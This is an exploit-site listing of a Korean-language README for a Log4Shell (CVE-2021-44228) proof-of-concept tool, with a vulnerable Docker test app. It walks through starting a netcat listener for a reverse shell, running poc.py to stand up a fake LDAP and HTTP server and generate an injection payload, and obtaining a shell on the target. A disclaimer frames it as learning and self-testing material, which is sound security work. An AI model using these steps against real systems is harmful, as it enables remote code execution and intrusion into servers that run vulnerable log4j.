Sploitus

Exploit for LOGJ4_PocShell_CVE-2021-44228

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN96 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YANGHYPERDATA-LOGJ4_POCSHELL_CVE-2021-44228
# log4j-shell-poc

졜근 발견된 CVE-2021-44228 취약점에 λŒ€ν•œ κ°œλ… 증λͺ…μž…λ‹ˆλ‹€.   
  
졜근 log4jμ—μ„œ μƒˆλ‘œμš΄ 취약점이 λ°œκ²¬λ˜μ—ˆμŠ΅λ‹ˆλ‹€. log4jλŠ” elasticsearch, minecraft 및 기타 μ—¬λŸ¬ κ³³μ—μ„œ 맀우 널리 μ‚¬μš©λ˜λŠ” Java λ‘œκΉ… λΌμ΄λΈŒλŸ¬λ¦¬μž…λ‹ˆλ‹€.

이 μ €μž₯μ†Œμ—λŠ” μ·¨μ•½ν•œ 예제 μ• ν”Œλ¦¬μΌ€μ΄μ…˜κ³Ό 이에 λŒ€ν•œ κ°œλ… 증λͺ…(POC) μ΅μŠ€ν”Œλ‘œμž‡μ΄ ν¬ν•¨λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

## κ°œλ… 증λͺ…(POC)

PoC둜 ν”„λ‘œμ„ΈμŠ€λ₯Ό μžλ™ν™”ν•˜λŠ” Python 파일이 μžˆμŠ΅λ‹ˆλ‹€.

#### μš”κ΅¬ 사항:

root@kitploit:~
    
    
    pip install -r requirements.txt
    

#### μ‚¬μš©λ²•:

  * μ—­λ°©ν–₯ μ…Έ 연결을 μˆ˜λ½ν•˜λ„λ‘ netcat λ¦¬μŠ€λ„ˆλ₯Ό μ‹œμž‘ν•©λ‹ˆλ‹€.  




root@kitploit:~
    
    
    nc -lvnp 9001
    

  * μ΅μŠ€ν”Œλ‘œμž‡μ„ μ‹€ν–‰ν•©λ‹ˆλ‹€.  
**μ°Έκ³ :** 이 μž‘μ—…μ΄ μž‘λ™ν•˜λ €λ©΄ μΆ”μΆœλœ Java μ•„μΉ΄μ΄λΈŒμ˜ 이름이 `jdk1.8.0_20`이어야 ν•˜λ©°, 같은 디렉터리에 μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€.



root@kitploit:~
    
    
    $ python3 poc.py --userip localhost --webport 8000 --lport 9001
    
    [!] CVE: CVE-2021-44228
    [+] Exploit java class created success
    [+] Setting up fake LDAP server
    Listening on 0.0.0.0:1389
    

이 μŠ€ν¬λ¦½νŠΈλŠ” HTTP μ„œλ²„μ™€ LDAP μ„œλ²„λ₯Ό μžλ™μœΌλ‘œ μ„€μ •ν•˜κ³ , μ·¨μ•½ν•œ λ§€κ°œλ³€μˆ˜μ— 뢙여넣을 수 μžˆλŠ” νŽ˜μ΄λ‘œλ“œλ„ μƒμ„±ν•©λ‹ˆλ‹€. 이후 λͺ¨λ“  것이 μ •μƒμ μœΌλ‘œ μ§„ν–‰λ˜μ—ˆλ‹€λ©΄ lportμ—μ„œ 셸을 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

  


## μ·¨μ•½ν•œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜

μ·¨μ•½ν•œ μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ ν¬ν•¨λœ Dockerfile이 μžˆμŠ΅λ‹ˆλ‹€. μ•„λž˜ 단계에 따라 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

root@kitploit:~
    
    
    1: docker build -t log4j-shell-poc .
    2: docker run --network host log4j-shell-poc
    

μ‹€ν–‰λ˜λ©΄ localhost:8080μ—μ„œ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

  


## Java 버전 μ–»κΈ°.

Oracle은 λ‹€ν–‰νžˆλ„ μ΄μ „μ˜ λͺ¨λ“  Java λ²„μ „μš© μ•„μΉ΄μ΄λΈŒλ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€:  
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.  
μ•„λž˜λ‘œ μŠ€ν¬λ‘€ν•˜μ—¬ `8u20`으둜 μ΄λ™ν•œ ν›„, 운영 μ²΄μ œμ™€ ν•˜λ“œμ›¨μ–΄μ— λ§žλŠ” νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œν•˜μ„Έμš”. ![Screenshot from 2021-12-11 00-09-25](https://assets.kitploit.com/production/public/readmes/21827/cc1bf20d2fa4e9da25d59e48307ad73a54545696f67cc6d9b48101e9cac4cb03.png)

**μ°Έκ³ :** νŒ¨ν‚€μ§€λ₯Ό λ‹€μš΄λ‘œλ“œν•˜λ €λ©΄ 계정을 λ§Œλ“€μ–΄μ•Ό ν•©λ‹ˆλ‹€.

μ•„μΉ΄μ΄λΈŒλ₯Ό λ‹€μš΄λ‘œλ“œν•˜μ—¬ 압좕을 ν‘Ό ν›„, `jdk1.8.0_20/bin`μ—μ„œ `java` 및 λͺ‡ κ°€μ§€ κ΄€λ ¨ λ°”μ΄λ„ˆλ¦¬λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.  
**μ°Έκ³ :** μ œλŒ€λ‘œ μž‘λ™ν•˜λ €λ©΄ jdk 폴더λ₯Ό 이 μ €μž₯μ†Œμ— 같은 μ΄λ¦„μœΌλ‘œ μ••μΆ• ν•΄μ œν•΄μ•Ό ν•©λ‹ˆλ‹€.

root@kitploit:~
    
    
    ❯ tar -xf jdk-8u20-linux-x64.tar.gz
    
    ❯ ./jdk1.8.0_20/bin/java -version
    java version "1.8.0_20"
    Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
    Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
    

## λ©΄μ±… μ‘°ν•­

이 μ €μž₯μ†ŒλŠ” CVE-2021-44228에 λŒ€ν•œ 원클릭 μ΅μŠ€ν”Œλ‘œμž‡μ„ μ œκ³΅ν•˜κΈ° μœ„ν•œ 것이 μ•„λ‹™λ‹ˆλ‹€. 이 ν”„λ‘œμ νŠΈμ˜ λͺ©μ μ€ μ‚¬λžŒλ“€μ΄ 이 취약점에 λŒ€ν•΄ 배우고, μžμ‹ μ˜ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ ν…ŒμŠ€νŠΈν•  수 μžˆλ„λ‘ λ•λŠ” κ²ƒμž…λ‹ˆλ‹€ (단, 이 λͺ©μ μ—λŠ” 더 λ‚˜μ€ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ μžˆμŠ΅λ‹ˆλ‹€, 예: https://log4shell.tools/).